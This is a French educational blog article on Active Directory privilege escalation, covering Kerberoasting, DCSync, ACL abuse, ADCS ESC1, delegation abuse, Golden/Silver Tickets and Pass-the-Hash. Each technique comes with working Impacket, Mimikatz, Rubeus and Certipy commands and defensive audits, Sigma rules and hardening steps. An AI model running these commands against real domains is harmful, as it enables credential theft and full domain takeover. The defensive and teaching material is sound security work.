Active Directory & Windows

Privilege escalation Active Directory : guide 2026

Privilege escalation AD 2026 : Kerberoasting, AS-REP Roasting, DCSync, ACL abuse, ADCS ESC, delegation abuse, Golden Ticket. Techniques et défenses.

Naim Aouaichia
19 min de lecture
  • Privilege Escalation
  • Active Directory
  • Kerberoasting
  • DCSync
  • BloodHound
  • Mimikatz
  • ADCS
  • MITRE ATT&CK

La privilege escalation dans Active Directory désigne l'ensemble des techniques permettant à un attaquant d'élever ses privilèges depuis un compte utilisateur standard compromis jusqu'aux groupes privilégiés (Domain Admins, Enterprise Admins, Schema Admins) qui contrôlent intégralement l'infrastructure. Selon le SANS GCFR Report 2024, 83 % des pentests AD atteignent Domain Admin, typiquement en 2 à 8 heures pour un pentester expérimenté sur un AD non-hardené. Les techniques dominantes en 2026 sont Kerberoasting (T1558.003, crack offline des tickets de service), AS-REP Roasting (T1558.004, comptes sans preauth), DCSync (T1003.006, abuse des permissions de réplication), ACL abuse (permissions excessives sur objets AD), ADCS ESC1-14 (templates de certificats mal configurés, SpecterOps juin 2021), Unconstrained Delegation abuse, Golden Ticket et Silver Ticket (forgery Kerberos via krbtgt hash), Pass-the-Hash et Pass-the-Ticket (réutilisation credentials volés). BloodHound (SpecterOps, CE gratuite depuis octobre 2023) cartographie ces chemins d'attaque. Cet article détaille le modèle d'attaque typique, les 10 techniques principales avec exploitation pratique et défense, l'outillage offensif (Mimikatz, Impacket, Rubeus), la détection SOC via Event IDs, les outils d'audit défensif (PingCastle, BloodHound CE, Locksmith) et un plan de laboratoire pour apprendre en 3 mois.

Modèle d'attaque AD typique

Privilege escalation AD suit généralement un pattern en 6 phases.

Les 6 phases

PhaseActionsOutils typiques
1. Initial accessCompromettre compte utilisateur standardPhishing, RDP brute force, exploit RCE externe
2. Reconnaissance ADÉnumérer l'environnement ADBloodHound (SharpHound), ADRecon, PowerView
3. Privilege escalation localÉlever sur machine compromiseExploits kernel, misconfig services
4. Privilege escalation domaineAtteindre Domain AdminKerberoasting, ACL abuse, ADCS ESC, DCSync
5. PersistenceMaintenir accèsGolden Ticket, DCShadow, ACL backdoors
6. ImpactExécuter objectif (ransomware, exfil)Diverses

Article focus sur phases 2-4 (privilege escalation strict).

Chemin typique du pentester

1. Phishing ou RDP brute force
   → obtention credentials user standard
 
2. Énumération BloodHound depuis compte standard
   → identification chemins vers Domain Admin
 
3. Choix de l'attaque selon chemin découvert :
   - Kerberoasting (compte service avec SPN faible)
   - ACL abuse (permission GenericWrite sur groupe privilégié)
   - ADCS ESC1 (template avec enrollment rights large)
   - NTLM Relay (LLMNR/NBT-NS poisoning + Relay vers ADCS)
 
4. Exploitation avec outil spécifique :
   - Mimikatz pour credential dumping
   - Impacket pour Kerberos et NTLM manipulation
   - Rubeus pour Kerberos avancé
   - Certify pour ADCS exploitation
 
5. DCSync pour extraire tous les credentials domaine
   → compromission complète
 
6. Persistence via Golden Ticket (krbtgt)
   → validité 10 ans par défaut

Technique 1 — Kerberoasting (T1558.003)

Technique la plus exploitée en 2024-2026. Exploite le chiffrement faible RC4 des TGS Kerberos.

Principe

Dans AD, tout compte ayant un Service Principal Name (SPN) peut recevoir des TGS (Ticket-Granting Service) demandés par n'importe quel utilisateur authentifié. Le TGS est chiffré avec le hash NT du mot de passe du compte service.

Si le password du compte service est faible (dictionnaire, moins de 14 caractères), l'attaquant peut :

  1. Demander des TGS pour tous les comptes service avec SPN (compte user standard suffit).
  2. Extraire les tickets de mémoire.
  3. Cracker offline avec hashcat (mode 13100).

Exploitation

# 1. Énumération des comptes avec SPN
# Avec Impacket sur Linux (compte standard suffit)
GetUserSPNs.py -request -dc-ip 10.0.0.10 domain.test/alice:password123
# Output : fichier avec hashes TGS
 
# Avec PowerView sur Windows
Get-DomainUser -SPN | Select samaccountname, serviceprincipalname
 
# 2. Request TGS et extract
# Avec Rubeus (Windows)
Rubeus.exe kerberoast /outfile:hashes.txt /nowrap
 
# 3. Crack offline
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt

Défense

ContrôleEfficacité
Comptes service avec passwords forts (25+ caractères aléatoires)Haute (augmente crack à années)
gMSA (Group Managed Service Accounts)Très haute (password 256-bit rotated auto)
Imposer AES-128/256 only (désactiver RC4)Moyenne (ralenti crack mais pas bloque)
Monitoring Event ID 4769 avec EncryptionType RC4 (0x17)Détection
Audit trimestriel comptes avec SPNPrévention
# Audit PowerShell comptes avec SPN
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName, PasswordLastSet
 
# Forcer AES pour un compte service
Set-ADUser -Identity "svc-sql01" -KerberosEncryptionType "AES128,AES256"
 
# Vérifier AES imposé domaine
Get-ADDomain | Select msDS-SupportedEncryptionTypes

Technique 2 — AS-REP Roasting (T1558.004)

Variante Kerberoasting ciblant les comptes avec l'attribut "Do not require Kerberos preauthentication" activé.

Principe

Normalement, Kerberos exige que le client prouve la connaissance du password (preauth) avant de recevoir un TGT (Ticket-Granting Ticket). Si l'attribut DONT_REQ_PREAUTH est activé sur un compte, l'attaquant peut obtenir directement un AS-REP crackable offline SANS authentification préalable.

Exploitation

# Avec Impacket : GetNPUsers
GetNPUsers.py -dc-ip 10.0.0.10 -request -no-pass \
  -usersfile users.txt domain.test/
# Output : hashes AS-REP crackables
 
# Avec Rubeus
Rubeus.exe asreproast /outfile:asrep-hashes.txt /nowrap
 
# Crack
hashcat -m 18200 asrep-hashes.txt rockyou.txt

Défense

# Identifier comptes avec preauth désactivée
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true}
 
# Activer preauth (corriger)
Set-ADUser -Identity "old-service" -DoesNotRequirePreAuth $false

Rarement activé intentionnellement — typiquement artefact legacy. PingCastle remonte automatiquement ces comptes.

Technique 3 — DCSync (T1003.006)

Technique catastrophique : extraction complète des credentials du domaine.

Principe

Les DCs répliquent entre eux via les permissions de réplication Active Directory (Replicating Directory Changes All). L'attaquant qui obtient ces permissions peut faire croire au DC qu'il est un autre DC et demander la réplication complète de la base AD, incluant tous les hashes NT/Kerberos de tous les comptes (y compris krbtgt et Domain Admin).

Permissions requises :

  • Replicating Directory Changes
  • Replicating Directory Changes All

Par défaut, seuls Domain Admins, Enterprise Admins, Built-in Administrators, krbtgt account les ont. Mais ACL abuse peut les attribuer à des comptes standards.

Exploitation

# Avec Impacket secretsdump
secretsdump.py -dc-ip 10.0.0.10 -just-dc domain.test/admin:password@10.0.0.10
 
# Output :
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:...
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:...
# ... tous les comptes du domaine
 
# Avec Mimikatz (sur machine Windows)
lsadump::dcsync /domain:domain.test /user:krbtgt

Défense

  • Audit des comptes ayant permissions de réplication : seuls DCs et comptes de réplication officielle doivent les avoir.
  • Detection Event ID 4662 avec object type Directory Service et GUID de permissions de réplication.
  • Microsoft Defender for Identity détecte DCSync en temps réel (capteur sur DC).
# Audit permissions de réplication
(Get-Acl "AD:$(((Get-ADDomain).DistinguishedName))").Access | 
  Where-Object { $_.ObjectType -eq "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2" } |
  Select IdentityReference, AccessControlType
# GUID 1131f6aa... = DS-Replication-Get-Changes-All

Règle Sigma pour SIEM :

title: DCSync via Replicating Directory Changes
id: 1efb5b1d-d4de-4ea9-8f30-95f5879c2f8d
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4662
    Properties|contains:
      - '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2'
      - '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2'
  filter_legitimate:
    SubjectUserName|endswith:
      - '$'
      - 'MSOL_'
  condition: selection and not filter_legitimate
level: high
tags: [attack.credential_access, attack.t1003.006]

Technique 4 — ACL abuse

Permissions excessives sur objets AD permettent escalade.

Principe

Chaque objet AD a une ACL (Access Control List) définissant qui peut faire quoi dessus. Permissions dangereuses :

  • GenericAll : tout faire sur l'objet.
  • GenericWrite : modifier n'importe quel attribut.
  • WriteDacl : modifier l'ACL elle-même.
  • WriteOwner : prendre possession.
  • WriteProperty sur member : ajouter à groupe.
  • AllExtendedRights : inclut DCSync, password reset, etc.

Si un compte standard a une de ces permissions sur Domain Admins (ou un groupe qui y mène), escalade possible.

Découverte via BloodHound

# BloodHound Cypher query
MATCH (u:User)-[r:GenericAll|GenericWrite|WriteDacl|WriteOwner|AddMember|ForceChangePassword]->(g:Group {name: "DOMAIN ADMINS@DOMAIN.TEST"})
RETURN u.name, type(r), g.name

Exploitation exemple : WriteMember sur Domain Admins

# Avec PowerView (si WriteMember sur Domain Admins)
Add-DomainGroupMember -Identity "Domain Admins" -Members "compromised_user"
 
# Ou directement avec net command
net group "Domain Admins" compromised_user /add /domain

Défense

  • Audit régulier ACLs sur groupes privilégiés : BloodHound défensif mensuel.
  • Principe du moindre privilège : permissions accordées avec parcimonie.
  • Alerting sur changements d'ACL critiques via Event ID 5136.

Technique 5 — ADCS abuse (ESC1 à ESC14)

Vecteur massif d'escalade identifié par SpecterOps en juin 2021. Étendu à ESC14 en 2024.

Les principales ESC

VulnérabilitéDescription
ESC1Enrollment Rights large + ENROLLEE_SUPPLIES_SUBJECT + Client Authentication EKU
ESC2Template Any Purpose ou EKU manquant
ESC3Enrollment Agent template + certificate request on behalf
ESC4ACL faibles sur templates
ESC5ACL faibles sur PKI containers
ESC6EDITF_ATTRIBUTESUBJECTALTNAME2 flag sur CA
ESC7ACL CA admin / officer faibles
ESC8NTLM relay vers Web Enrollment HTTPS
ESC9-ESC14Variantes plus récentes

Exploitation ESC1 typique

# 1. Découverte templates vulnérables
# Avec Certify (offensive C#)
Certify.exe find /vulnerable
 
# Avec Certipy (Linux équivalent)
certipy find -u alice@domain.test -p password -dc-ip 10.0.0.10
 
# Output révèle : template "VulnTemplate" avec
# - Enrollment Rights : Authenticated Users
# - ENROLLEE_SUPPLIES_SUBJECT : True
# - Client Authentication EKU : True
# = ESC1 confirmée
 
# 2. Request certificat en usurpant Domain Admin
certipy req -u alice@domain.test -p password -ca "DOMAIN-CA" \
  -template "VulnTemplate" -upn "administrator@domain.test"
 
# 3. Authentification Kerberos avec le certificat
certipy auth -pfx administrator.pfx
# Output : TGT comme Domain Admin

Défense

Audit obligatoire avec Locksmith (Jake Hildreth, PowerShell open source) :

Install-Module -Name Locksmith -Scope CurrentUser
Invoke-Locksmith -Mode 0  # Audit
Invoke-Locksmith -Mode 4  # Remediation guidée

Configurations critiques :

  • ENROLLEE_SUPPLIES_SUBJECT désactivé sauf nécessité.
  • Manager approval sur templates sensibles.
  • Enrollment Rights restreints.
  • EDITF_ATTRIBUTESUBJECTALTNAME2 désactivé.
  • Web Enrollment HTTP désactivé.

Technique 6 — Unconstrained Delegation abuse

Permet à une machine ou compte de se faire passer pour n'importe quel utilisateur qui s'authentifie sur elle.

Principe

Si un compte machine ou utilisateur a l'attribut TRUSTED_FOR_DELEGATION (Unconstrained Delegation), tout utilisateur qui s'authentifie sur ce serveur laisse son TGT cacheable en mémoire. L'attaquant qui compromet ce serveur peut extraire les TGTs et impersoner tous les utilisateurs.

Si un Domain Admin s'authentifie sur un serveur Unconstrained Delegation compromis : le TGT DA est extractible → compromission complète.

Attaque avancée : Printer Bug

Combinaison Unconstrained Delegation + Printer Bug (force DC à s'authentifier via RPC) :

# 1. Trouver machine Unconstrained
# BloodHound query ou PowerView
Get-ADComputer -Filter {TrustedForDelegation -eq $true}
 
# 2. Exploiter Printer Bug pour forcer DC auth
# rubeus listen + printnightmare-style trigger
Rubeus.exe monitor /interval:5 /nowrap
 
# Depuis autre session
MS-RPRN.exe \\target-server.domain.test \\compromised-server.domain.test
 
# 3. TGT du DC extrait → Golden Ticket possible

Défense

  • Auditer et corriger : Get-ADComputer -Filter {TrustedForDelegation -eq $true}.
  • Migrer vers Constrained Delegation (limite services cibles).
  • Marker comptes sensibles "Account is sensitive and cannot be delegated" (attribut ACCOUNT_IS_SENSITIVE).
  • Protected Users group : ses membres ne sont jamais délégables.

Technique 7 — Golden Ticket (T1558.001)

Forge d'un TGT arbitraire utilisant le hash krbtgt.

Principe

Le compte krbtgt est un compte spécial dont le hash est utilisé pour chiffrer tous les TGTs du domaine. Si l'attaquant obtient le hash NT du krbtgt (via DCSync par exemple), il peut forger des TGTs arbitraires pour n'importe quel utilisateur, n'importe quel groupe, validité par défaut 10 ans.

Conséquence : compromission permanente et invisible. Persistance ultime.

Exploitation

# 1. Obtenir hash krbtgt via DCSync
secretsdump.py domain.test/admin:password@dc.domain.test -just-dc-user krbtgt
 
# Output : krbtgt:502:aad3b435b51404eeaad3b435b51404ee:NT_HASH
 
# 2. Forger Golden Ticket
# Avec Impacket ticketer
ticketer.py -nthash <krbtgt_hash> -domain-sid S-1-5-21-... -domain domain.test \
  -user-id 500 -groups 512 \
  attacker_fake_user
 
# Avec Mimikatz (Windows)
kerberos::golden /user:fake_admin /domain:domain.test \
  /sid:S-1-5-21-... /krbtgt:<hash> /id:500 /groups:512 \
  /ptt
 
# 3. Accès à toutes ressources en tant que Domain Admin
klist  # TGT present

Défense

  • Reset krbtgt DEUX fois (24h d'intervalle) après tout incident suspect AD. Invalide tous Golden Tickets potentiels.
  • Script Microsoft officiel : Reset-KrbtgtKeyInteractive.ps1.
  • Reset préventif tous les 6-12 mois recommandé.
  • Limite TGT lifetime : 10h par défaut Kerberos policy (au lieu d'illimité).
  • Monitoring Event ID 4769 avec anomalies (TGT trop ancien, comptes inexistants).

Technique 8 — Silver Ticket

Variante Golden Ticket mais pour un service spécifique.

Principe

Silver Ticket = TGS forgé avec le hash NT d'un compte service (pas krbtgt). Accès uniquement au service spécifique, pas tout le domaine.

Avantage pour attaquant : pas besoin du hash krbtgt (moins surveillé). Désavantage : scope limité.

Exploitation

# 1. Obtenir hash du compte service cible
# Kerberoasting + crack, ou DCSync sur ce compte
 
# 2. Forger Silver Ticket
mimikatz.exe "kerberos::golden /domain:domain.test /sid:S-1-5-21-... \
  /target:srv-sql.domain.test /service:MSSQLSvc \
  /rc4:<svc_sql_hash> /user:fake_admin /ptt"
 
# 3. Accès au service SQL Server en tant que "fake_admin"
sqlcmd -S srv-sql.domain.test -E

Défense

  • Passwords forts sur comptes service (difficile à cracker).
  • gMSA pour rotation automatique.
  • Monitoring d'accès inhabituel aux services sensibles.

Technique 9 — Pass-the-Hash / Pass-the-Ticket (T1550)

Réutilisation de credentials volés sans connaître le password en clair.

Pass-the-Hash (PtH)

NTLM authentication utilise le hash NT du password comme credential effectif. Si l'attaquant obtient le hash (via Mimikatz LSASS dump), il peut s'authentifier partout où NTLM est accepté sans connaître le password en clair.

# Avec Impacket
psexec.py -hashes :NT_HASH admin@10.0.0.50
 
# Avec Mimikatz (PtH interactive)
sekurlsa::pth /user:admin /domain:domain.test /ntlm:<hash> /run:cmd.exe

Pass-the-Ticket (PtT)

Similaire mais avec Kerberos tickets (TGT ou TGS) au lieu de NTLM hash.

# Extract tickets
mimikatz.exe "sekurlsa::tickets /export"
 
# Reuse ticket
mimikatz.exe "kerberos::ptt ticket.kirbi"
klist  # ticket presente
 
# Accès avec le ticket
dir \\target.domain.test\share

Défense

  • Désactiver NTLM progressivement (Group Policy).
  • LSA Protection (RunAsPPL) : bloque Mimikatz standard.
  • Credential Guard : isolation credentials dans VBS (Virtualization Based Security).
  • Protected Users group : Kerberos only, pas de caching.
  • Tier Model strict : un compte admin jamais loggé sur machine standard.

BloodHound : cartographier les chemins

Outil indispensable pour découvrir (attaque) ou auditer (défense) les chemins d'escalade.

Collecte avec SharpHound

# SharpHound collecteur (exécution sur machine domain joined)
SharpHound.exe -c All --zipfilename collection.zip
 
# Collection non privileged (utilisateur standard suffit)
# Collecte : users, groups, computers, ACLs, sessions, trusts, GPO, ADCS

Analyse dans BloodHound CE

Import du zip dans BloodHound Community Edition (gratuit depuis octobre 2023). Queries Cypher intégrées :

# Shortest paths vers Domain Admin
MATCH p=shortestPath((u:User)-[*1..]->(g:Group {name: 'DOMAIN ADMINS@DOMAIN.TEST'}))
RETURN p LIMIT 100
 
# Kerberoastable users avec chemin vers DA
MATCH (u:User {hasspn:true})
MATCH p=shortestPath((u)-[*1..]->(g:Group {name: 'DOMAIN ADMINS@DOMAIN.TEST'}))
RETURN u.name, p
 
# Unconstrained Delegation assets
MATCH (c:Computer {unconstraineddelegation:true})
MATCH p=shortestPath((c)-[*1..]->(g:Group {name: 'DOMAIN ADMINS@DOMAIN.TEST'}))
RETURN c.name, p
 
# Utilisateurs avec GenericAll sur groupes privilégiés
MATCH p=(u:User)-[r:GenericAll]->(g:Group)
WHERE g.name =~ '(?i)(DOMAIN ADMINS|ENTERPRISE ADMINS|SCHEMA ADMINS).*'
RETURN u.name, g.name

Usage défensif

Exécution mensuelle de SharpHound + analyse BloodHound permet identification proactive des chemins d'attaque. Corrélation avec PingCastle pour posture globale.

Détection SOC

Event IDs Windows clés pour détecter les techniques d'attaque.

Kerberos / Authentication

Event IDDescriptionIndicateur
4768Kerberos TGT requestMimikatz traces, timestamps anormaux
4769Kerberos TGS requestKerberoasting si EncryptionType RC4 (0x17)
4771Kerberos preauth failedAS-REP Roasting tentatives
4776NTLM authenticationPass-the-Hash si success sans 4624 précédent

Credential Access

Event IDDescriptionIndicateur
4662Operation on directory objectDCSync (GUID replication permissions)
4673Sensitive privilege usePrivilege escalation signals
4688Process creationMimikatz, Rubeus, PowerView execution
Sysmon 10LSASS accessCredential dumping attempts
Sysmon 11File creationMimikatz output files (.kirbi, .ccache)

Privilege Groups

Event IDDescriptionIndicateur
4728Member added to security-enabled global groupAddition to Domain Admins
4732Member added to security-enabled local groupLocal admin escalation
4756Member added to universal groupEnterprise Admins modification

Modifications objets

Event IDDescriptionIndicateur
5136Directory service object modifiedACL changes on sensitive objects
4742Computer object modifiedTrusted for delegation changes

Règles Sigma open source

SigmaHQ repository contient 100+ règles AD détection alignées MITRE ATT&CK :

# Clone SigmaHQ
git clone https://github.com/SigmaHQ/sigma.git
 
# Règles AD spécifiques
find sigma/rules/windows/ -name "*.yml" | xargs grep -l "active_directory\|kerberos" | head

Outils offensifs : overview

Stack offensif standard pour privilege escalation AD en 2026.

Reconnaissance

OutilPlateformeUsage
BloodHound + SharpHoundWindows + LinuxCartographie AD (essentiel)
PowerViewWindows PowerShellÉnumération AD scripted
ADReconWindowsRapport Excel inventory AD
PowerSploitWindowsSuite complète

Credential Access

OutilDescription
MimikatzRéférence credential dumping (LSASS, Kerberos tickets, DCSync)
RubeusKerberos manipulation avancé (Windows C#)
ImpacketPython suite (GetUserSPNs, secretsdump, psexec, etc.)
Certify / CertipyADCS exploitation
KekeoComplément Mimikatz avancé

Exploitation

OutilDescription
CrackMapExec / NetExecPivoting et exploitation multi-host
ResponderLLMNR/NBT-NS poisoning pour NTLM capture
ntlmrelayxNTLM Relay attacks
SharpHound / BloodHound.pyCollection depuis Windows ou Linux

Post-exploitation

OutilDescription
PsExecExécution remote
WMIExecExécution via WMI (bypass AV)
SMBClientAccès shares

Labs pour apprendre

  • GOAD (Game of Active Directory, Mayfly) : lab AD multi-forêts complet avec Vagrant + Ansible.
  • HackTheBox : boxes AD (Forest, Active, Sauna, Monteverde, Blackfield, Cascade, Resolute).
  • TryHackMe : Throwback network, Wreath network, Holo.
  • Ludus (Tyler Ramsbey) : approche Proxmox-native alternative à GOAD.

Défenses prioritaires en 2026

Six contrôles qui éliminent la majorité des chemins d'attaque.

1. Tier Model Microsoft (essentiel)

Séparation stricte Tier 0 / 1 / 2. Un compte Tier 0 (Domain Admin) jamais loggé sur asset Tier 1 (serveur) ou Tier 2 (workstation). Empêche vol de credentials Tier 0 via Mimikatz.

Déploiement : 3-6 mois d'effort, impact majeur.

2. Protected Users group

Membres bénéficient de protections supplémentaires : Kerberos only (pas NTLM), AES only, pas de caching credentials, TGT non renouvelable, pas WDigest.

# Ajouter admins Tier 0 à Protected Users
Add-ADGroupMember -Identity "Protected Users" -Members "DomainAdmin1","DomainAdmin2"

3. LSA Protection (RunAsPPL) + Credential Guard

LSA Protection marque LSASS comme PPL (Protected Process Light), bloque Mimikatz standard. Credential Guard isole credentials dans VBS.

# LSA Protection via registry
New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" `
  -Name "RunAsPPL" -Value 1 -PropertyType DWORD -Force
# Reboot requis
 
# Credential Guard via Group Policy :
# Computer Config → Admin Templates → System → Device Guard
# Turn On VBS : Enabled + Credential Guard Enabled with UEFI Lock

4. ADCS audit et hardening

Locksmith (gratuit PowerShell) audit + remediation ADCS. ESC1-ESC14 doivent être corrigés.

Install-Module -Name Locksmith
Invoke-Locksmith -Mode 0  # Audit

5. Désactivation NTLM progressive

Group Policy Network Security: Restrict NTLM. Démarrer en mode Audit, progresser vers Block.

6. Monitoring défensif

  • Microsoft Defender for Identity : détection temps réel techniques courantes (Kerberoasting, DCSync, Pass-the-Hash, reconnaissance).
  • SIEM avec règles Sigma : Event IDs 4769, 4662, 4728, Sysmon 10.
  • BloodHound défensif mensuel : cartographie chemins d'attaque actuels.
  • PingCastle : score de maturité AD trimestriel.

Apprendre la privilege escalation AD

Plan de 3 mois pour développeurs ou admins cherchant à comprendre offensive.

Mois 1 : Fondations

  • Concepts clés d'AD pour débutants (article frère).
  • Lab GOAD (Game of Active Directory) setup complet.
  • TryHackMe : Active Directory Fundamentals.
  • HackTheBox : Box Forest (easy AD).

Mois 2 : Techniques core

  • Kerberoasting pratique sur GOAD.
  • BloodHound mastery.
  • Impacket suite (GetUserSPNs, secretsdump, psexec).
  • Mimikatz basics.

Mois 3 : Advanced + défense

  • ADCS exploitation (Certify, Certipy) + audit Locksmith.
  • Unconstrained Delegation abuse.
  • Golden Ticket + Silver Ticket.
  • BloodHound côté défensif.
  • Writeups HackTheBox boxes AD (Active, Sauna, Monteverde, Blackfield).

Points clés à retenir

  • Privilege escalation AD atteint Domain Admin dans 83 % des pentests (SANS GCFR 2024), typiquement en 2-8 heures sur AD non-hardené. Techniques dominantes : Kerberoasting, DCSync, ACL abuse, ADCS ESC, delegation abuse, Golden Ticket.
  • Kerberoasting est la technique la plus exploitée : exige compte user standard, extrait TGS chiffrés RC4 pour crack offline. Défense : gMSA, passwords forts, AES only.
  • BloodHound (SpecterOps, Community Edition gratuite octobre 2023) est indispensable côté offensif ET défensif. Cartographie automatique des chemins d'attaque, queries Cypher pour identifier vulnérabilités.
  • ADCS est devenu vecteur d'attaque massif depuis SpecterOps juin 2021 (ESC1-ESC14). Audit annuel obligatoire avec Locksmith (Jake Hildreth, gratuit PowerShell).
  • Défenses prioritaires 2026 : Tier Model Microsoft, Protected Users, LSA Protection + Credential Guard, ADCS hardening, désactivation NTLM progressive, Microsoft Defender for Identity. Couvrent 90 % des techniques documentées.

Pour aller plus loin

Questions fréquentes

  • Combien de temps faut-il pour passer de user standard à Domain Admin ?
    Sur un AD non-hardené, typiquement 2 à 8 heures pour un pentester expérimenté, parfois 30 minutes pour cas très faibles. Selon le SANS GCFR Report 2024, 83 % des pentests AD atteignent Domain Admin. Chemin typique : compromission initiale (phishing, RDP brute force, exploit RCE externe) → énumération BloodHound → identification de chemin d'attaque → exploitation (souvent Kerberoasting + password crack, ou ADCS ESC1, ou ACL abuse) → DCSync → Domain Admin. Sur AD hardené (Tier Model appliqué, Protected Users, Credential Guard, ADCS audité, monitoring Defender for Identity), le temps nécessaire augmente significativement et la détection peut stopper l'attaquant avant le succès.
  • Kerberoasting fonctionne-t-il si AES est imposé ?
    Oui mais beaucoup plus difficile. Kerberoasting classique exploite le chiffrement RC4-HMAC des tickets de service (TGS) qui utilise le hash NT du password comme clé. RC4 est crackable offline avec hashcat en quelques heures pour mots de passe faibles à modérés. Si l'environnement impose AES-128 ou AES-256 uniquement (via msDS-SupportedEncryptionTypes ou GPO), les TGS sont chiffrés en AES. AES est théoriquement crackable mais nécessite ressources massives (des semaines à années selon taille password). Défense : forcer AES-only + comptes service avec passwords 25+ caractères + préférer gMSA (Group Managed Service Accounts) qui génèrent automatiquement 256-bit password rotation (résistance crack quasi-totale).
  • Domain Admin vs Enterprise Admin vs Schema Admin ?
    Trois groupes privilégiés distincts. **Domain Admins** : administrateurs du domaine courant uniquement. Ils peuvent tout faire dans leur domaine mais pas dans les autres domaines de la forêt. **Enterprise Admins** : administrateurs de la forêt entière. Membres automatiques Domain Admins de tous domaines de la forêt. Le plus puissant, à protéger strictement. **Schema Admins** : peuvent modifier le schema AD (structure des objets). Modifications irréversibles, donc groupe extrêmement restreint. Un attaquant qui obtient Domain Admin peut typiquement escalader vers Enterprise Admin via trust abuse ou cross-domain techniques. Recommandation 2026 : 0 membres permanents dans ces groupes via Microsoft Entra ID PIM ou PAM, élévation Just-In-Time uniquement.
  • BloodHound légal pour audit ou uniquement pentest ?
    Parfaitement légal pour audit défensif avec autorisation. BloodHound (SpecterOps, créé par Andy Robbins 2016, Community Edition gratuite depuis octobre 2023) est devenu indispensable en usage défensif : il révèle les chemins de privilege escalation cachés dans la configuration AD que les outils Microsoft natifs ne montrent pas. Pattern défensif : exécution mensuelle de SharpHound (collecteur) avec compte utilisateur standard non-privilégié, analyse des chemins critiques identifiés (qui peut atteindre Domain Admin en N hops), priorisation remédiations. Sans autorisation, utilisation sur AD qui ne vous appartient pas = article 323-1 du Code pénal français (jusqu'à 3 ans prison + 100 000 € amende). Toujours avoir mandat écrit.
  • Kerberoasting nécessite-t-il déjà un compte utilisateur compromis ?
    Oui. Kerberoasting exige un compte authentifié dans le domaine AD pour pouvoir demander des TGS (Ticket-Granting Service). C'est donc une technique de privilege escalation post-compromission initiale (pas initial access). Compte utilisateur standard suffit : il peut requester TGS pour tous les comptes service avec SPN du domaine. Pas besoin d'être admin ou d'avoir permissions spéciales. Scénario complet attaque : 1) Phishing → obtention credentials user standard. 2) Energy AD via BloodHound. 3) Kerberoasting des comptes service avec SPN. 4) Crack offline des hashes RC4. 5) Réutilisation credentials crackés pour pivoter. 6) Éventuellement escalader vers Domain Admin.
  • Quels sont les premiers contrôles défensifs à déployer ?
    Six priorités en 2026. 1) Tier Model Microsoft : séparation stricte Tier 0/1/2. Domain Admins jamais loggés sur Tier 1 ou 2. Impact majeur avec effort modéré (3-6 mois pour déploiement initial). 2) Protected Users group : Kerberos only, no cache, anti Pass-the-Hash pour comptes admin sensibles. 3) LSA Protection (RunAsPPL) + Credential Guard : protection mémoire contre Mimikatz. 4) Audit ADCS via Locksmith ou Certify : identifier et corriger ESC1-ESC14. 5) Désactivation NTLM progressive via Group Policy. 6) Microsoft Defender for Identity (ou équivalent) pour détection en temps réel des techniques courantes. Complément : audit régulier PingCastle + BloodHound défensif mensuel pour surveiller posture.

Écrit par

Naim Aouaichia

Expert cybersécurité et fondateur de Zeroday Cyber Academy

Expert cybersécurité avec un master spécialisé et un parcours hybride : développement, DevOps, DevSecOps, SOC, GRC. Fondateur de Hash24Security et Zeroday Cyber Academy. Formateur et créateur de contenu technique sur la cybersécurité appliquée, la sécurité des LLM et le DevSecOps.